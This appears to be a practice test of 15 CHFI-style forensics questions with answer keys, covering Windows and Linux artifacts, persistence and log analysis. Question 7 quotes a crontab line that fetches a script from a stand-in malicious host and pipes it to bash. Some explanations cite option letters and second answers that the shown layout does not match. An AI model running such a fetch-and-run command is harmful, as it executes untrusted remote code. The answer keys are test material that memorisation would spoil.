CHFI OS and Network Forensics Practice Test 10 — 15 Questions

Question 1

During a forensic examination of a Windows 10 system, you find a file named "chrome_000001.jumplist" in the user's AppData directory. What does the presence of this file indicate?

Accepted Answer

The file stores recent items accessed through Chrome, such as downloaded files. Jump lists in Windows store recently accessed items for applications pinned to the taskbar or recently used. The file 'chrome_000001.jumplist' is a Windows-generated binary file that logs recent documents, downloads, or URLs opened via Google Chrome. Its presence indicates the user has recently accessed files or links through Chrome, making D correct.

Answer

The file is a Chrome extension

Answer

The user has installed Chrome via a jump list installer

Answer

The file contains Chrome bookmarks

Question 2

A security analyst is reviewing firewall logs and notices repeated connection attempts from an internal IP to an external server on TCP port 4444. The internal host is a web server. What is the MOST likely explanation?

Accepted Answer

The web server has a reverse shell connection to a command-and-control server. Repeated outbound connections from an internal web server to an external server on TCP port 4444 strongly indicate a reverse shell, which is a common technique used by malware to establish command-and-control (C2) communication. Unlike a standard client-server model, the internal host initiates the connection to bypass firewalls that block inbound traffic, and port 4444 is frequently associated with Metasploit's default reverse shell payload (e.g., meterpreter). This behavior is anomalous for a web server, which typically serves HTTP/HTTPS on ports 80/443 and does not initiate persistent outbound connections to arbitrary external IPs on non-standard ports.

Answer

The web server is serving HTTPS traffic on port 4444

Answer

The web server is performing DNS queries

Answer

The web server is being scanned for open ports

Question 3

A forensic analyst is investigating a Windows system for evidence of malware persistence. Which TWO registry locations are commonly used by malware to automatically execute on system startup?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Services. Option D, HKLM\SYSTEM\CurrentControlSet\Services, is correct because this registry hive stores service configurations, including the Start value that determines whether a service (or malicious driver/service) launches automatically at boot, making it a classic autostart persistence location. Option E, HKCU\Software\Microsoft\Windows\CurrentVersion\Run, is correct because the per-user Run key causes listed programs to execute automatically when that user logs on, a very common malware persistence mechanism. Option A, HKLM\SAM, is not an autostart location; it stores local account and security database information. Option B, C:\Windows\Prefetch, is a filesystem artifact used for execution evidence and performance, not a registry startup key. Option C, HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellBags, records folder view settings and is useful for user activity forensics, not automatic execution.

Answer

HKLM\SAM

Answer

C:\Windows\Prefetch

Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellBags

Question 4

A forensic investigator is examining a Linux system compromised via a web application. Which THREE artifacts should the investigator prioritize to determine the attacker's entry point and post-exploitation activities?

Accepted Answer

/home/compromised_user/.bash_history. Option A, /home/compromised_user/.bash_history, is correct because the shell history file records the exact commands the attacker typed after gaining access, directly revealing post-exploitation activities such as reconnaissance, privilege escalation attempts, and persistence commands. Option C, /var/log/auth.log, is correct because it captures authentication events including sudo usage, su attempts, SSH logins, and PAM failures, which help establish how the attacker escalated privileges or moved laterally after the initial web compromise. Option E, web server access logs (e.g., /var/log/apache2/access.log), is correct because they record HTTP requests with source IPs, URIs, and status codes, allowing the investigator to identify the malicious request that exploited the web application and thus the entry point. Option B, /etc/shadow, is not a priority artifact here because it only stores password hashes and does not by itself show attacker activity or entry vectors. Option D, cron job entries in /etc/crontab, is not among the top three because while cron can indicate persistence, it is less directly tied to identifying the entry point and immediate post-exploitation actions than the history, auth, and access logs.

Answer

/etc/shadow

Answer

Cron job entries in /etc/crontab

Question 5

A security analyst detects a sudden spike in failed logon events with Event ID 4625 on a Windows domain controller. The source IP addresses are random and from various external subnets. Which type of attack is MOST likely occurring?

Accepted Answer

Brute‑force attack. Event ID 4625 indicates a failed logon attempt. A sudden spike from random, external source IPs is characteristic of a brute-force attack, where an attacker systematically tries many username/password combinations against the domain controller. This pattern does not match the stealthier or more targeted nature of the other attack types.

Answer

Pass‑the‑hash attack

Answer

Kerberos ticket forgery (Golden Ticket)

Answer

Insider threat with compromised credentials

Question 6

A network analyst captures a packet with Wireshark showing a TCP SYN packet from IP 10.0.0.5 to 192.168.1.10 port 443, followed immediately by a SYN‑ACK from 192.168.1.10 to 10.0.0.5, then an RST from 10.0.0.5. What does this sequence MOST likely indicate?

Accepted Answer

A TCP SYN scan (stealth scan). A SYN followed by SYN‑ACK and then RST is typical of a port scan where the scanner sends a SYN, receives a SYN‑ACK (port open), and then immediately resets the connection to avoid completing the handshake.

Answer

A man‑in‑the‑middle attack

Answer

A denial‑of‑service (SYN flood) attack

Answer

A normal HTTPS session initiation

Question 7

During an incident response, an analyst finds the following entry in /etc/crontab: */5 * * * * root /bin/bash -c 'curl -s http://malicious.com/script.sh | bash'. What is the MOST likely purpose of this entry?

Accepted Answer

Persistence mechanism to maintain access. The crontab entry executes a command every 5 minutes that downloads and runs a script from a remote server. This is a classic persistence technique used by attackers to ensure that even if the initial access vector is removed, the malicious code will be re-executed on a regular schedule, maintaining their foothold on the system.

Answer

Log cleanup tool

Answer

System backup script

Answer

Software update process

Question 8

A forensic examiner needs to analyze the contents of a Windows prefetch file (.pf) to determine the last execution time of an application. Which tool would BEST accomplish this task?

Accepted Answer

PECmd. PECmd (Prefetch Explorer Command-line) is a dedicated forensic tool from Eric Zimmerman's suite designed specifically to parse Windows prefetch files (.pf). It extracts detailed metadata including the last execution time, run count, and referenced files, making it the best choice for this task. Built-in Windows tools do not provide a 'prefetch.exe' utility, and other options like ShellBags Explorer or JumpLister target different artifacts (registry shell bags and jump lists, respectively).

Answer

prefetch.exe (built‑in Windows tool)

Answer

ShellBags Explorer

Answer

JumpLister

Question 9

In Linux, which file contains hashed user passwords?

Accepted Answer

/etc/shadow. The /etc/shadow file stores hashed user passwords along with password aging information, and is readable only by root to enhance security. In contrast, /etc/passwd contains user account information but stores only a placeholder (usually 'x' or '*') for the password hash, not the hash itself. This separation is a standard Linux security mechanism to prevent unauthorized access to password hashes.

Answer

/etc/gshadow

Answer

/etc/group

Answer

/etc/passwd

Question 10

A Windows system has been compromised. The analyst finds a registry run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run with value name 'UpdateService' pointing to C:\Users\Public\svchost.exe. Why is this particularly suspicious?

Accepted Answer

The path is not typical for svchost.exe, which resides in System32. The legitimate svchost.exe is a critical Windows system binary located in C:\Windows\System32. An executable named svchost.exe running from C:\Users\Public\ is a classic masquerading technique used by malware to evade detection by mimicking a trusted process name while residing in a user-writable, non-standard directory. This path deviation is the primary red flag because system processes should never execute from user profile or public folders.

Answer

Run keys are only for startup programs, not services

Answer

The run key is disabled in Windows 10

Answer

The registry value name 'UpdateService' is too generic

Question 11

Which TWO Windows artifacts can be used to identify recently accessed files or folders on a system? (Select the two best answers.)

Accepted Answer

LNK files. LNK files (option D) are Windows shortcut files that store a reference to the original target file or folder, including its path, volume information, and timestamps, and they are created or updated when a user opens a document or folder, making them a direct indicator of recent access. ShellBags (option E) are registry entries (in NTUSER.DAT under HKCU\Software\Microsoft\Windows\Shell) that record folder view settings and paths the user has browsed in Explorer, so they reveal folders that were accessed even if the folder no longer exists. Event ID 4624 (option A) is a Security log entry for successful logon events and does not record file or folder access. The SAM hive (option B) stores local user account and password hash data, not file access history. Prefetch files (option C) record execution of applications to speed up subsequent launches, not the opening of individual files or folders.

Answer

Event ID 4624

Answer

SAM hive

Answer

Prefetch files

Question 12

A forensic examiner is analyzing a Linux system suspected of being used as a C2 server. Which THREE artifacts should the examiner prioritize to find evidence of command execution and persistence? (Select three.)

Accepted Answer

~/.bash_history. Option A, ~/.bash_history, is correct because it records the interactive commands executed by a user's Bash shell, which can reveal attacker commands used to establish or operate C2 functionality. Option D, /var/log/auth.log, is correct because on Debian-based Linux systems it captures authentication events such as SSH logins, sudo usage, and failed login attempts, which help trace unauthorized access and privilege escalation tied to persistence. Option E, /etc/crontab, is correct because it is a system-wide cron table where scheduled jobs can be added by attackers to maintain persistence and periodically re-execute malicious commands. Option B, /var/log/syslog, is not among the marked answers because although it contains general system messages, it is less directly focused on command execution and persistence than the selected artifacts. Option C, /etc/passwd, is not among the marked answers because it primarily lists local user accounts and does not by itself provide evidence of command execution or persistence mechanisms.

Answer

/var/log/syslog

Answer

/etc/passwd

Question 13

Which TWO of the following are common persistence mechanisms used by malware on Windows systems? (Select two.)

Accepted Answer

Scheduled Tasks. Scheduled Tasks (C) are a common persistence mechanism because malware can register a task via schtasks.exe or the Task Scheduler COM API to execute a payload at logon, on a schedule, or on system events, surviving reboots. Registry Run keys (E), such as HKLM\Software\Microsoft\Windows\CurrentVersion\Run and HKCU equivalents, are classic autostart locations that Windows processes at user logon, so malware placed there launches automatically each session. The other options are forensic artifacts rather than persistence methods: USBSTOR records historical USB mass-storage connections, Prefetch files evidence program execution for performance, and LNK files are shortcut artifacts often used for initial execution or user bait, not for maintaining persistence.

Answer

USBSTOR registry key

Answer

Prefetch files

Answer

LNK files

Question 14

A security analyst reviews Windows Security Event Log and observes Event ID 4625 repeatedly for a single user account from a remote IP address within a short timeframe. What is the MOST likely cause?

Accepted Answer

A brute-force password attack is occurring against that account. Event ID 4625 indicates a failed logon attempt. When this event is logged repeatedly for the same user account from a single remote IP address within a short timeframe, it is a classic indicator of an automated brute-force password attack, where an attacker tries many passwords against that account in rapid succession.

Answer

The user successfully logged on from a remote workstation

Answer

The user's account was created

Answer

A service was installed on the system

Question 15

During a forensic investigation of a compromised Linux server, an analyst checks /var/log/auth.log and finds multiple entries like "Failed password for root from 10.0.0.5 port 22 ssh2". Which tool is BEST suited to analyze the timeline of these events?

Accepted Answer

log2timeline. C is correct because log2timeline (part of the Plaso framework) is specifically designed to parse multiple log sources, including /var/log/auth.log, and create a super timeline that correlates events by timestamp. This allows the analyst to reconstruct the exact sequence of failed SSH login attempts from 10.0.0.5, which is essential for timeline analysis in forensic investigations.

Answer

Nmap

Answer

Wireshark

Answer

Autopsy